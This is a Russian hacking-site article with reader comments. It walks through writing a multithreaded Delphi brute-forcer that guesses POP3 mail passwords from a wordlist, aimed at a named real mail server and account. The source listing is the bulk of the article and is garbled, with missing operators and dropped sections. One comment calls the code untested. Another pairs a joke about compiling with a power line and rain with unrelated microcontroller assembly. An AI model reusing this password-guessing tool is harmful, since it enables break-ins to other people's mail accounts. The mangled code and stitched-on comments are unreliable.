Брутфорс на Delphi — HackZona.Ru

Брутфорс на Delphi

Брутфорс на Delphi

Тип статьи:
Со старой ХакЗоны.
Источник:
Рассмотрим написание брутфорса на Delphi, с использованием функций WinAPI для работы с сокетом. Переписать на перл, си или асм потом проблем нет никаких — оно все отличается только синтаксисом вызова функций. Также потребуется какой-нибудь telnet-клиент, port-mapper или tcp-logger для исследования ответов сервера.

POP3. 110 порт. Интересующие нас команды — «user» и «pass». Предположим, что надо подобрать пароль на freemail.ukr.net у пользователя dndanil (это мой — специально для экспериментов). Ломанемся по телнету на freemail.ukr.net:110 и введем «user dndanil». Потом «pass password». Посмотрим ответы. Если после оценки скорости желание не отпало, то надо написать прогу, которая будет коннектится к серваку и перебирать пароли с отслеживанием ошибок. Прогу будем писать с учетом продвинутых технологий при создании различных сканеров — многопоточность, т.е. перебирать пароли будут сразу несколько процессов. Так, вроде, быстрей. Для этого надо ввести класс, описывающий наш процесс. Кол-во одновременно запущенных процессов зависит от железа и скорости соединения с инетом. Для перебора будем использовать файл с паролями, который загрузим в TStringList (список строк). Итак, создадим для наглядности окно и влепим туда кнопку «Hack it» :-) и ProgressBar с Win32. Вот исходники с комментариями брутфорсера для POP3-сервера:



unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, StdCtrls, WinSock;

type
TForm1 = class(TForm)
Button1: TButton;
ProgressBar1: TProgressBar;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

// Описание процесса
type
TScan = class(TThread)
sock2: TSocket;
addr:TSockAddrIn;
WSAData: TWSAData;
private
procedure CScan;
protected
procedure Execute; override;
end;

var
Form1: TForm1;
// Массив процессов
Sock: array[1..255] of TScan;
Rez: boolean = false;
// Кол-во запущенных процессов на данный момент
I0: Integer;
// Номер текущего пароля
I: Integer;
// TStringList с паролями
PassList: TStringList;


const
FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
ProcCount = 10; // кол-во процессов
POP3serv = '212.42.64.13'; // POP3 server (отпингованый)
User = 'dndanil';

implementation
{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
PassList:=TStringList.Create;
end;

// Запуск / Остановка
procedure TForm1.Button1Click(Sender: TObject);
begin
if Rez then
Rez:=false
else
begin
// Открытие и загрузка файла паролей
try
PassList.Clear;
PassList.LoadFromFile(FilePass);
except
end;
if PassList.CountProcCount)or(not Rez) then
break;
end;
end;
end;

// Проца инициализации процесса
procedure TScan.Execute;
begin
try
// Запуск цикла
while true do
begin
CScan;
//Выход, если подобрали или закончился словарь
if (not Rez)or(I>=PassList.Count) then
break;
end;
except
end;
dec(I0);
try
Terminate;
except
end;
//Если все процессы прерваны -
if I00 then
begin
try
closesocket(sock2);
except
end;
exit;
end;
//Получение при соединении
x:=recv(sock2,buf,sizeof(Buf),0);
if (x=SOCKET_ERROR)or(buf[1]'+') then
exit;
//«user user»
sender('user '+User+#13+#10);
x:=recv(sock2,buf,sizeof(Buf),0);
if (x=SOCKET_ERROR)or(buf[1]'+') then
exit;
//«pass password»
sender('pass '+PassList.Strings[I2]+#13+#10);
x:=recv(sock2,buf,sizeof(Buf),0);
//Если подобралось
if (x>3)and(buf[1]='+') then
begin
Rez:=false;
Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
exit;
end;
try
closesocket(sock2);
except
end;
except
end;
end;

end.




Адрес сервака перед использованием надо отпинговать (ping -a freemail.ukr.net) и ввести IP. Кол-во процессов подбирается исходя из железа. Это рабочий скелет брутфорсера, хоть и написан за пару часов. При проверке, я создал файл-словарь, размером 1000 паролей и 666-ым шел мой настоящий пароль. При одном процессе я задолбался ждать. При кол-ве процессов 255, уже через 15 минут (на диалап), мне высветился мой пароль. На шелле, аналогичная конструкция на перл, заняла примерно столько же времени. Но это на 666-ом пароле, а на 1000000-ом я бы ждал очень долго. Поэтому этот способ обладает очень призрачными шансами что-либо подобрать и годится только для очень простых паролей.

Нравится
Не нравится

2 комментария

01:07
Эту прогу ктонить проверял ???
Вот это мне нравица: =)))
if (PassList.CountProcCount) or (not Rez) then break;
-
Сроей всего данный код не проверяли, даже если отбросить опечатки, слишком много ошибок ...
01:17
Джагоны исправили исходный тект...
Как Вам известно для компиляции требуется ЛЕП (1 шт)
Зажимы с повышеным сопративлением (2 шт)
Шнур телефоный (12.7 м)
Соответствующая метео обстановка (Дождь)
Основы элетротехники
Удача и так листинг :

sel RB0 ; set 0 bank of memory

mov A, #0C0h ; put 11000000
outl P2, A ; in P2

mov A, #0FDh ; put -3
mov T, A ; in timer

in A, P2
jb7 linky2 ; A[7]? = x1?
linky15:
mov A, #0C0h ; put 11000000
outl P2, A ; in P2
mov R0, #02h ; set iteration
orl P2, #E2h ; y1y5 - 11100010
loop15:
djnz R0, loop15 ; 40 ms
in A, P2
jb6 linky125 ; A[6]? = x2?
mov R0, #11h ; set iteration
mov A, #0C0h ; put 11000000
outl P2, A ; in P2
orl P2, #DCh ; y2y3y4 - 11011100
loop234:
djnz R0, loop234 ; 100 ms
jmp linky15
linky2:
mov A, #0C0h ; put 11000000
outl P2, A ; in P2
; strt T ; start timer
mov R0, 2Eh ; set iteration
orl P2, #0D0h ; y2 - 11010000
loop240:
djnz R0, loop240 ; 240 ms
;cycle1:
; jtf linky125
; jmp cycle1 ; 240 ms
linky125:
mov A, #0C0h ; put 11000000
outl P2, A ; in P2
mov R0, #07h ; set iteration
orl P2, #F2h ; y1y2y5 - 11110010
loop125:
djnz R0, loop125 ; 50 ms
mov R0, #05h ; set iteration
mov A, #0C0h ; put 11000000
outl P2, A ; in P2
orl P2, #E2h ; y1y5 - 11100010
loop15a:
djnz R0, loop15a ; 40 ms

anl P1, #0C0h ; break control signals
end